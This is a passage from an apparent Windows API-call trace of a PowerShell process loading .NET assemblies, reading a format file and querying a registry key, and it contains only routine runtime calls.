lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.869] GetLastError () returned 0x57 [0057.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0057.871] GetLastError () returned 0x57 [0057.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0057.873] GetLastError () returned 0x57 [0057.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0057.874] GetLastError () returned 0x57 [0057.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0057.874] GetLastError () returned 0x57 [0057.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0057.875] GetLastError () returned 0x57 [0057.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0057.876] GetLastError () returned 0x57 [0057.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0057.877] GetLastError () returned 0x57 [0057.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0057.878] GetLastError () returned 0x57 [0057.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.878] GetLastError () returned 0x57 [0057.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0057.878] GetLastError () returned 0x57 [0057.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.879] GetLastError () returned 0x57 [0057.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.879] GetLastError () returned 0x57 [0057.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.879] GetLastError () returned 0x57 [0057.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.879] GetLastError () returned 0x57 [0057.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.879] GetLastError () returned 0x57 [0057.906] VirtualQuery (in: lpAddress=0x25d180, lpBuffer=0x25e180, dwLength=0x1c | out: lpBuffer=0x25e180*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.910] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe83cef91, Data2=0x2b12, Data3=0x4265, Data4=([0]=0xa8, [1]=0x2c, [2]=0x84, [3]=0xa1, [4]=0x2e, [5]=0x8f, [6]=0x7, [7]=0x5d))) returned 0x0 [0057.910] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x82ce600a, Data2=0x703d, Data3=0x4fa4, Data4=([0]=0x8e, [1]=0xb1, [2]=0xad, [3]=0xaf, [4]=0x56, [5]=0xcc, [6]=0x85, [7]=0xa2))) returned 0x0 [0057.910] VirtualQuery (in: lpAddress=0x25d1f8, lpBuffer=0x25e1f8, dwLength=0x1c | out: lpBuffer=0x25e1f8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.911] VirtualQuery (in: lpAddress=0x25d1f8, lpBuffer=0x25e1f8, dwLength=0x1c | out: lpBuffer=0x25e1f8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.911] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1efdf12a, Data2=0xb61e, Data3=0x4466, Data4=([0]=0x98, [1]=0xbb, [2]=0xaf, [3]=0x83, [4]=0x7e, [5]=0x8f, [6]=0x62, [7]=0x39))) returned 0x0 [0057.917] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x9276cbe5, Data2=0xfa37, Data3=0x4b17, Data4=([0]=0x92, [1]=0xb3, [2]=0x33, [3]=0xd7, [4]=0x2a, [5]=0xc7, [6]=0x78, [7]=0x85))) returned 0x0 [0057.917] VirtualQuery (in: lpAddress=0x25d324, lpBuffer=0x25e324, dwLength=0x1c | out: lpBuffer=0x25e324*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.917] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.918] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.918] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xf644a229, Data2=0xf788, Data3=0x46cf, Data4=([0]=0xbe, [1]=0x4b, [2]=0x84, [3]=0xb0, [4]=0xa0, [5]=0x4c, [6]=0x54, [7]=0xa8))) returned 0x0 [0057.918] VirtualQuery (in: lpAddress=0x25d324, lpBuffer=0x25e324, dwLength=0x1c | out: lpBuffer=0x25e324*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.918] VirtualQuery (in: lpAddress=0x25d23c, lpBuffer=0x25e23c, dwLength=0x1c | out: lpBuffer=0x25e23c*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.921] VirtualQuery (in: lpAddress=0x25cef0, lpBuffer=0x25def0, dwLength=0x1c | out: lpBuffer=0x25def0*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.921] VirtualQuery (in: lpAddress=0x25cef0, lpBuffer=0x25def0, dwLength=0x1c | out: lpBuffer=0x25def0*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.921] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xebdac74, Data2=0x13eb, Data3=0x4c91, Data4=([0]=0xb7, [1]=0x6, [2]=0x9e, [3]=0xd8, [4]=0x18, [5]=0xa7, [6]=0x9d, [7]=0x39))) returned 0x0 [0057.921] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4a00be2d, Data2=0xee10, Data3=0x4153, Data4=([0]=0x91, [1]=0x29, [2]=0x86, [3]=0xb2, [4]=0x90, [5]=0xc4, [6]=0x1f, [7]=0x81))) returned 0x0 [0057.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.922] GetLastError () returned 0x57 [0057.922] SetErrorMode (uMode=0x1) returned 0x1 [0057.922] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.922] GetLastError () returned 0x0 [0057.922] GetFileType (hFile=0x32c) returned 0x1 [0057.922] SetErrorMode (uMode=0x1) returned 0x1 [0057.922] GetFileType (hFile=0x32c) returned 0x1 [0057.922] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.924] GetLastError () returned 0x0 [0057.925] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.925] GetLastError () returned 0x0 [0057.926] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.926] GetLastError () returned 0x0 [0057.926] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.926] GetLastError () returned 0x0 [0057.927] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.927] GetLastError () returned 0x0 [0057.927] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.927] GetLastError () returned 0x0 [0057.928] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.928] GetLastError () returned 0x0 [0057.928] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.928] GetLastError () returned 0x0 [0057.929] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.929] GetLastError () returned 0x0 [0057.929] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.929] GetLastError () returned 0x0 [0057.929] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.929] GetLastError () returned 0x0 [0057.929] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.929] GetLastError () returned 0x0 [0057.930] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.930] GetLastError () returned 0x0 [0057.930] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.930] GetLastError () returned 0x0 [0057.930] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.930] GetLastError () returned 0x0 [0057.930] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.930] GetLastError () returned 0x0 [0057.933] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.933] GetLastError () returned 0x0 [0057.933] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0xbce, lpOverlapped=0x0) returned 1 [0057.933] GetLastError () returned 0x0 [0057.933] ReadFile (in: hFile=0x32c, lpBuffer=0x2f79b46, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f79b46*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.933] GetLastError () returned 0x0 [0057.933] ReadFile (in: hFile=0x32c, lpBuffer=0x2f7a3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2f7a3d8*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.933] GetLastError () returned 0x0 [0057.933] CloseHandle (hObject=0x32c) returned 1 [0057.934] GetLastError () returned 0x0 [0057.934] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.934] GetLastError () returned 0x0 [0057.934] SetErrorMode (uMode=0x1) returned 0x1 [0057.934] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f9b3d4 | out: lpFileInformation=0x2f9b3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0057.934] GetLastError () returned 0x0 [0057.934] SetErrorMode (uMode=0x1) returned 0x1 [0057.934] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.934] GetLastError () returned 0x0 [0057.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.934] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.934] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.934] RegCloseKey (hKey=0x32c) returned 0x0 [0057.935] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.935] GetLastError () returned 0x0 [0057.935] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.935] GetLastError () returned 0x0 [0057.939] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xdc16a607, Data2=0x3c0b, Data3=0x4e8d, Data4=([0]=0x8a, [1]=0x23, [2]=0x64, [3]=0x5b, [4]=0xb, [5]=0xa1, [6]=0xa8, [7]=0x48))) returned 0x0 [0057.939] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb9df537d, Data2=0x5847, Data3=0x422c, Data4=([0]=0xbc, [1]=0xd6, [2]=0x5d, [3]=0xa7, [4]=0xa1, [5]=0x3c, [6]=0xf9, [7]=0x70))) returned 0x0 [0057.939] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe758880b, Data2=0x8f6e, Data3=0x4024, Data4=([0]=0xbf, [1]=0x65, [2]=0x32, [3]=0xab, [4]=0x11, [5]=0x88, [6]=0x8c, [7]=0xa6))) returned 0x0 [0057.940] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x75286950, Data2=0xc14a, Data3=0x43a8, Data4=([0]=0xae, [1]=0x2d, [2]=0x36, [3]=0x3b, [4]=0xd2, [5]=0x79, [6]=0x38, [7]=0x39))) returned 0x0 [0057.940] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc1f0dfd6, Data2=0x4030, Data3=0x4157, Data4=([0]=0x99, [1]=0x2c, [2]=0x2a, [3]=0xf6, [4]=0x96, [5]=0xa4, [6]=0xb7, [7]=0x9d))) returned 0x0 [0057.940] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xdbc93032, Data2=0xa932, Data3=0x4f63, Data4=([0]=0xab, [1]=0x6f, [2]=0x43, [3]=0x59, [4]=0x35, [5]=0x6f, [6]=0xa4, [7]=0x8d))) returned 0x0 [0057.940] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.940] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x226584e3, Data2=0x3ee7, Data3=0x4660, Data4=([0]=0x9b, [1]=0x79, [2]=0x49, [3]=0xda, [4]=0x3, [5]=0xe9, [6]=0x14, [7]=0x56))) returned 0x0 [0057.940] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.941] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.941] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x751c4b24, Data2=0x5a9f, Data3=0x4745, Data4=([0]=0xb1, [1]=0x1b, [2]=0x6b, [3]=0xdc, [4]=0xfa, [5]=0x35, [6]=0x9d, [7]=0x13))) returned 0x0 [0057.941] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xab8700d, Data2=0xf04f, Data3=0x4976, Data4=([0]=0xa6, [1]=0x2b, [2]=0x7, [3]=0xdd, [4]=0x1c, [5]=0xfb, [6]=0xbe, [7]=0xf0))) returned 0x0 [0057.941] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe2e327d2, Data2=0xfc8c, Data3=0x43de, Data4=([0]=0x8b, [1]=0xf9, [2]=0x6d, [3]=0x25, [4]=0x3, [5]=0x64, [6]=0x2, [7]=0x9e))) returned 0x0 [0057.941] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe205828c, Data2=0x6c74, Data3=0x40c0, Data4=([0]=0xaf, [1]=0x57, [2]=0x33, [3]=0x26, [4]=0xae, [5]=0x7b, [6]=0x52, [7]=0xa1))) returned 0x0 [0057.942] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.942] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x6b5f8666, Data2=0x2bbf, Data3=0x4761, Data4=([0]=0x83, [1]=0x2d, [2]=0x1f, [3]=0x5b, [4]=0xcb, [5]=0x98, [6]=0x36, [7]=0xcb))) returned 0x0 [0057.942] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.942] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: lpBuffer=0x25e1d0*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.943] VirtualQuery (in: lpAddress=0x25d1d0, lpBuffer=0x25e1d0, dwLength=0x1c | out: 